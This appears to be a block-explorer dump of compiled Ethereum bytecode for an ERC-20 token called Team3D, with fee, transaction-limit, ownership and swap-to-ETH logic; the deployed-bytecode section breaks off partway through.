ffffffffffffffffffffffffffff16141580156116fe575060035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b1561170c575f905061188f565b60035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156117b5575060025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b156117cd57600e54601281905550600f546013819055505b60035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611876575060025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b1561188e576010546012819055506011546013819055505b5b61189b84848484611cf2565b50505050565b5f8383111582906118e8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118df9190612469565b60405180910390fd5b505f83856118f69190612ea0565b9050809150509392505050565b5f600754821115611949576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161194090612f43565b60405180910390fd5b5f611952611d1f565b90506119678184611d4890919063ffffffff16565b915050919050565b6001601660026101000a81548160ff0219169083151502179055505f600267ffffffffffffffff8111156119a6576119a5612f61565b5b6040519080825280602002602001820160405280156119d45781602001602082028036833780820191505090505b50905030815f815181106119eb576119ea6128f4565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611a8f573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611ab39190612fa2565b81600181518110611ac757611ac66128f4565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611b2d3060025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610f5a565b60025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8430426040518663ffffffff1660e01b8152600401611b8f9594939291906130bd565b5f604051808303815f87803b158015611ba6575f80fd5b505af1158015611bb8573d5f803e3d5ffd5b50505050505f601660026101000a81548160ff02191690831515021790555050565b5f600290505f8183611bec9190613142565b905060085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f19350505050158015611c52573d5f803e3d5ffd5b50600182611c609190612ddf565b83611c6b9190613142565b81611c769190612ea0565b90505f8184611c859190612ea0565b905060095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f19350505050158015611ceb573d5f803e3d5ffd5b5050505050565b80611d0057611cff611d91565b5b611d0b848484611dca565b80611d1957611d18611f8a565b5b50505050565b5f805f611d2a611f9e565b91509150611d418183611d4890919063ffffffff16565b9250505090565b5f611d8983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611ffa565b905092915050565b5f601254148015611da357505f601354145b611dc8576012546014819055506013546015819055505f6012819055505f6013819055505b565b5f805f805f80611dd98761205b565b955095509550955095509550611e358660065f8c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546120bb90919063ffffffff16565b60065f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550611ec68560065f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461210490919063ffffffff16565b60065f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550611f1081612161565b611f1a8483612218565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611f779190612612565b60405180910390a3505050505050505050565b601454601281905550601554601381905550565b5f805f60075490505f670de0b6b3a76400009050611fcf670de0b6b3a7640000600754611d4890919063ffffffff16565b821015611fed57600754670de0b6b3a7640000935093505050611ff6565b81819350935050505b9091565b5f8083118290612040576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120379190612469565b60405180910390fd5b505f838561204e9190613142565b9050809150509392505050565b5f805f805f805f805f6120738a601254601354612252565b9250925092505f612082611d1f565b90505f805f6120938e8787876122e4565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b5f6120fc83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506118a1565b905092915050565b5f8082846121129190612ddf565b905083811015612157576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161214e906131bc565b60405180910390fd5b8091505092915050565b5f61216a611d1f565b90505f612180828461236890919063ffffffff16565b90506121d28160065f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461210490919063ffffffff16565b60065f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550505050565b61222d826007546120bb90919063ffffffff16565b60078190555061224881600d5461210490919063ffffffff16565b600d819055505050565b5f805f8061227c606461226e888a61236890919063ffffffff16565b611d4890919063ffffffff16565b90505f6122a56064612297888b61236890919063ffffffff16565b611d4890919063ffffffff16565b90505f6122cd826122bf858c6120bb90919063ffffffff16565b6120bb90919063ffffffff16565b905080838395509550955050505093509350939050565b5f805f806122fb858961236890919063ffffffff16565b90505f612311868961236890919063ffffffff16565b90505f612327878961236890919063ffffffff16565b90505f61234f8261234185876120bb90919063ffffffff16565b6120bb90919063ffffffff16565b9050838184965096509650505050509450945094915050565b5f808303612378575f90506123d9565b5f828461238591906131da565b90508284826123949190613142565b146123d4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123cb9061328b565b60405180910390fd5b809150505b92915050565b5f81519050919050565b5f82825260208201905092915050565b5f5b838110156124165780820151818401526020810190506123fb565b5f8484015250505050565b5f601f19601f8301169050919050565b5f61243b826123df565b61244581856123e9565b93506124558185602086016123f9565b61245e81612421565b840191505092915050565b5f6020820190508181035f8301526124818184612431565b905092915050565b5f80fd5b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6124ba82612491565b9050919050565b6124ca816124b0565b81146124d4575f80fd5b50565b5f813590506124e5816124c1565b92915050565b5f819050919050565b6124fd816124eb565b8114612507575f80fd5b50565b5f81359050612518816124f4565b92915050565b5f806040838503121561253457612533612489565b5b5f612541858286016124d7565b92505060206125528582860161250a565b9150509250929050565b5f8115159050919050565b6125708161255c565b82525050565b5f6020820190506125895f830184612567565b92915050565b5f819050919050565b5f6125b26125ad6125a884612491565b61258f565b612491565b9050919050565b5f6125c382612598565b9050919050565b5f6125d4826125b9565b9050919050565b6125e4816125ca565b82525050565b5f6020820190506125fd5f8301846125db565b92915050565b61260c816124eb565b82525050565b5f6020820190506126255f830184612603565b92915050565b612634816124b0565b82525050565b5f60208201905061264d5f83018461262b565b92915050565b5f805f6060848603121561266a57612669612489565b5b5f612677868287016124d7565b9350506020612688868287016124d7565b92505060406126998682870161250a565b9150509250925092565b5f60ff82169050919050565b6126b8816126a3565b82525050565b5f6020820190506126d15f8301846126af565b92915050565b5f6126e182612491565b9050919050565b6126f1816126d7565b82525050565b5f60208201905061270a5f8301846126e8565b92915050565b5f6020828403121561272557612724612489565b5b5f6127328482850161250a565b91505092915050565b5f602082840312156127505761274f612489565b5b5f61275d848285016124d7565b91505092915050565b5f80fd5b5f80fd5b5f80fd5b5f8083601f84011261278757612786612766565b5b8235905067ffffffffffffffff8111156127a4576127a361276a565b5b6020830191508360208202830111156127c0576127bf61276e565b5b9250929050565b6127d08161255c565b81146127da575f80fd5b50565b5f813590506127eb816127c7565b92915050565b5f805f6040848603121561280857612807612489565b5b5f84013567ffffffffffffffff8111156128255761282461248d565b5b61283186828701612772565b93509350506020612844868287016127dd565b9150509250925092565b5f806040838503121561286457612863612489565b5b5f612871858286016124d7565b9250506020612882858286016124d7565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f6128c06020836123e9565b91506128cb8261288c565b602082019050919050565b5f6020820190508181035f8301526128ed816128b4565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f612958826124eb565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff820361298a57612989612921565b5b600182019050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f20615f8201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b5f6129ef6026836123e9565b91506129fa82612995565b604082019050919050565b5f6020820190508181035f830152612a1c816129e3565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f612a7d6024836123e9565b9150612a8882612a23565b604082019050919050565b5f6020820190508181035f830152612aaa81612a71565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f612b0b6022836123e9565b9150612b1682612ab1565b604082019050919050565b5f6020820190508181035f830152612b3881612aff565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f612b996023836123e9565b9150612ba482612b3f565b604082019050919050565b5f6020820190508181035f830152612bc681612b8d565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f612c276025836123e9565b9150612c3282612bcd565b604082019050919050565b5f6020820190508181035f830152612c5481612c1b565b9050919050565b7f5472616e7366657220616d6f756e74206d7573742062652067726561746572205f8201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b5f612cb56029836123e9565b9150612cc082612c5b565b604082019050919050565b5f6020820190508181035f830152612ce281612ca9565b9050919050565b7f4572726f723a2054686973206163636f756e742063616e6e6f742073656e64205f8201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400602082015250565b5f612d43603f836123e9565b9150612d4e82612ce9565b604082019050919050565b5f6020820190508181035f830152612d7081612d37565b9050919050565b7f4572726f723a204d6178205472616e73616374696f6e204c696d6974000000005f82015250565b5f612dab601c836123e9565b9150612db682612d77565b602082019050919050565b5f6020820190508181035f830152612dd881612d9f565b9050919050565b5f612de9826124eb565b9150612df4836124eb565b9250828201905080821115612e0c57612e0b612921565b5b92915050565b7f4572726f723a2042616c616e636520657863656564732077616c6c65742073695f8201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b5f612e6c6023836123e9565b9150612e7782612e12565b604082019050919050565b5f6020820190508181035f830152612e9981612e60565b9050919050565b5f612eaa826124eb565b9150612eb5836124eb565b9250828203905081811115612ecd57612ecc612921565b5b92915050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c20725f8201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b5f612f2d602a836123e9565b9150612f3882612ed3565b604082019050919050565b5f6020820190508181035f830152612f5a81612f21565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b5f81519050612f9c816124c1565b92915050565b5f60208284031215612fb757612fb6612489565b5b5f612fc484828501612f8e565b91505092915050565b5f819050919050565b5f612ff0612feb612fe684612fcd565b61258f565b6124eb565b9050919050565b61300081612fd6565b82525050565b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b613038816124b0565b82525050565b5f613049838361302f565b60208301905092915050565b5f602082019050919050565b5f61306b82613006565b6130758185613010565b935061308083613020565b805f5b838110156130b0578151613097888261303e565b97506130a283613055565b925050600181019050613083565b5085935050505092915050565b5f60a0820190506130d05f830188612603565b6130dd6020830187612ff7565b81810360408301526130ef8186613061565b90506130fe606083018561262b565b61310b6080830184612603565b9695505050505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f61314c826124eb565b9150613157836124eb565b92508261316757613166613115565b5b828204905092915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f6131a6601b836123e9565b91506131b182613172565b602082019050919050565b5f6020820190508181035f8301526131d38161319a565b9050919050565b5f6131e4826124eb565b91506131ef836124eb565b92508282026131fd816124eb565b9150828204841483151761321457613213612921565b5b5092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f5f8201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b5f6132756021836123e9565b91506132808261321b565b604082019050919050565b5f6020820190508181035f8301526132a281613269565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220c66f8612bce74aabf93d6779e980bc273c481404e31cbf57233a542817e2563764736f6c63430008150033
Deployed Bytecode
0x608060405260043610610143575f3560e01c806340e19609116100b55780638da5cb5b1161006e5780638da5cb5b1461042257806395d89b411461044c578063a9059cbb14610476578063c492f046146104b2578063dd62ed3e146104da578063f2fde38b146105165761014a565b806340e196091461033e57806370a0823114610368578063715018a6146103a45780637164aba8146103ba5780637231d217146103e4578063751039fc1461040c5761014a565b806323b872dd1161010757806323b872dd1461023257806328e255f21461026e578063313ce5671461029857806333c308fb146102c257806333c6c4cd146102ec5780633e979e31146103145761014a565b806306fdde031461014e578063095ea7b3146101785780631694505e146101b457806318160ddd146101de5780631d5b53ba146102085761014a565b3661014a57005b5f80fd5b348015610159575f80fd5b5061016261053e565b60405161016f9190612469565b60405180910390f35b348015610183575f80fd5b5061019e6004803603810190610199919061251e565b61057b565b6040516101ab9190612576565b60405180910390f35b3480156101bf575f80fd5b506101c8610598565b6040516101d591906125ea565b60405180910390f35b3480156101e9575f80fd5b506101f26105bd565b6040516101ff9190612612565b60405180910390f35b348015610213575f80fd5b5061021c6105cc565b604051610229919061263a565b60405180910390f35b34801561023d575f80fd5b5061025860048036038101906102539190612653565b6105f1565b6040516102659190612576565b60405180910390f35b348015610279575f80fd5b506102826106c5565b60405161028f9190612612565b60405180910390f35b3480156102a3575f80fd5b506102ac6106cb565b6040516102b991906126be565b60405180910390f35b3480156102cd575f80fd5b506102d66106d3565b6040516102e391906126f7565b60405180910390f35b3480156102f7575f80fd5b50610312600480360381019061030d9190612710565b6106f8565b005b34801561031f575f80fd5b50610328610796565b6040516103359190612612565b60405180910390f35b348015610349575f80fd5b5061035261079c565b60405161035f91906126f7565b60405180910390f35b348015610373575f80fd5b5061038e6004803603810190610389919061273b565b6107c1565b60405161039b9190612612565b60405180910390f35b3480156103af575f80fd5b506103b861080f565b005b3480156103c5575f80fd5b506103ce61095d565b6040516103db9190612612565b60405180910390f35b3480156103ef575f80fd5b5061040a6004803603810190610405919061273b565b610963565b005b348015610417575f80fd5b50610420610aaa565b005b34801561042d575f80fd5b50610436610b5e565b604051610443919061263a565b60405180910390f35b348015610457575f80fd5b50610460610b85565b60405161046d9190612469565b60405180910390f35b348015610481575f80fd5b5061049c6004803603810190610497919061251e565b610bc2565b6040516104a99190612576565b60405180910390f35b3480156104bd575f80fd5b506104d860048036038101906104d391906127f1565b610bdf565b005b3480156104e5575f80fd5b5061050060048036038101906104fb919061284e565b610d14565b60405161050d9190612612565b60405180910390f35b348015610521575f80fd5b5061053c6004803603810190610537919061273b565b610d96565b005b60606040518060400160405280600681526020017f5465616d33440000000000000000000000000000000000000000000000000000815250905090565b5f61058e610587610f53565b8484610f5a565b6001905092915050565b60025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f670de0b6b3a7640000905090565b60035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f6105fd84848461111d565b6106ba84610609610f53565b6106b5856040518060600160405280602881526020016132aa6028913960045f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f61066c610f53565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546118a19092919063ffffffff16565b610f5a565b600190509392505050565b600a5481565b5f6009905090565b60085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b610700610f53565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461078c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610783906128d6565b60405180910390fd5b80600b8190555050565b600c5481565b60095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f61080860065f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611903565b9050919050565b610817610f53565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108a3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161089a906128d6565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600b5481565b61096b610f53565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109f7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109ee906128d6565b60405180910390fd5b8060035f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610a8c60035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16670de0b6b3a7640000610f5a565b6001601660016101000a81548160ff02191690831515021790555050565b610ab2610f53565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b3e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b35906128d6565b60405180910390fd5b670de0b6b3a7640000600c81905550670de0b6b3a7640000600a81905550565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600681526020017f5445414d33440000000000000000000000000000000000000000000000000000815250905090565b5f610bd5610bce610f53565b848461111d565b6001905092915050565b610be7610f53565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c73576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c6a906128d6565b60405180910390fd5b5f5b83839050811015610d0e578160175f868685818110610c9757610c966128f4565b5b9050602002016020810190610cac919061273b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055508080610d069061294e565b915050610c75565b50505050565b5f60045f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b610d9e610f53565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e2a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e21906128d6565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610e98576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e8f90612a05565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3805f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610fc8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fbf90612a93565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611036576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161102d90612b21565b60405180910390fd5b8060045f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516111109190612612565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361118b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161118290612baf565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036111f9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111f090612c3d565b60405180910390fd5b5f811161123b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161123290612ccb565b60405180910390fd5b611243610b5e565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156112b15750611281610b5e565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156115ae57601660019054906101000a900460ff16611340576112d2610b5e565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161461133f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161133690612d59565b60405180910390fd5b5b600c54811115611385576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161137c90612dc1565b60405180910390fd5b60035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161461143157600a54816113e6846107c1565b6113f09190612ddf565b10611430576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161142790612e82565b60405180910390fd5b5b5f61143b306107c1565b90505f600b548210159050600c54821061145557600c5491505b60165f9054906101000a900460ff16801561146d5750805b80156114865750601660029054906101000a900460ff16155b80156114df575060035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015611532575060175f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b8015611585575060175f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b156115ab576115938261196f565b5f4790505f8111156115a9576115a847611bda565b5b505b50505b5f6001905060175f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff168061164e575060175f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b806116ff575060035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141580156116fe575060035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b1561170c575f905061188f565b60035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156117b5575060025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b156117cd57600e54601281905550600f546013819055505b60035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611876575060025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b1561188e576010546012819055506011546013819055505b5b61189b84848484611cf2565b50505050565b5f8383111582906118e8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118df9190612469565b60405180910390fd5b505f83856118f69190612ea0565b9050809150509392505050565b5f600754821115611949576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161194090612f43565b60405180910390fd5b5f611952611d1f565b90506119678184611d4890919063ffffffff16565b915050919050565b6001601660026101000a81548160ff0219169083151502179055505f600267ffffffffffffffff8111156119a6576119a5612f61565b5b6040519080825280602002602001820160405280156119d45781602001602082028036833780820191505090505b50905030815f815181106119eb576119ea6128f4565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611a8f573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611ab39190612fa2565b81600181518110611ac757611ac66128f4565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611b2d3060025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610f5a565b60025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8430426040518663ffffffff1660e01b8152600401611b8f9594939291906130bd565b5f604051808303815f87803b158015611ba6575f80fd5b505af1158015611bb8573d5f803e3d5ffd5b50505050505f601660026101000a81548160ff02191690831515021790555050565b5f600290505f8183611bec9190613142565b905060085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f19350505050158015611c52573d5f803e3d5ffd5b50600182611c609190612ddf565b83611c6b9190613142565b81611c769190612ea0565b90505f8184611c859190612ea0565b905060095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f19350505050158015611ceb573d5f803e3d5ffd5b5050505050565b80611d0057611cff611d91565b5b611d0b848484611dca565b80611d1957611d18611f8a565b5b50505050565b5f805f611d2a611f9e565b91509150611d418183611d4890919063ffffffff16565b9250505090565b5f611d8983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611ffa565b905092915050565b5f601254148015611da357505f601354145b611dc8576012546014819055506013546015819055505f6012819055505f6013819055505b565b5f805f805f80611dd98761205b565b955095509550955095509550611e358660065f8c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546120bb90919063ffffffff16565b60065f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550611ec68560065f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461210490919063ffffffff16565b60065f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550611f1081612161565b611f1a8483612218565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611f779190612612565b60405180910390a3505050505050505050565b601454601281905550601554601381905550565b5f805f60075490505f670de0b6b3a76400009050611fcf670de0b6b3a7640000600754611d4890919063ffffffff16565b821015611fed57600754670de0b6b3a7640000935093505050611ff6565b81819350935050505b9091565b5f8083118290612040576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120379190612469565b60405180910390fd5b505f838561204e9190613142565b9050809150509392505050565b5f805f805f805f805f6120738a601254601354612252565b9250925092505f612082611d1f565b90505f805f6120938e8787876122e4565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b5f6120fc83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506118a1565b905092915050565b5f8082846121129190612ddf565b905083811015612157576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161214e906131bc565b60405180910390fd5b8091505092915050565b5f61216a611d1f565b90505f612180828461236890919063ffffffff16565b90506121d28160065f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461210490919063ffffffff16565b60065f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550505050565b61222d826007546120bb90919063ffffffff16565b60078190555061224881600d5461210490919063ffffffff16565b600d819055505050565b5f805f8061227c606461226e888a61236890919063ffffffff16565b611d4890919063ffffffff1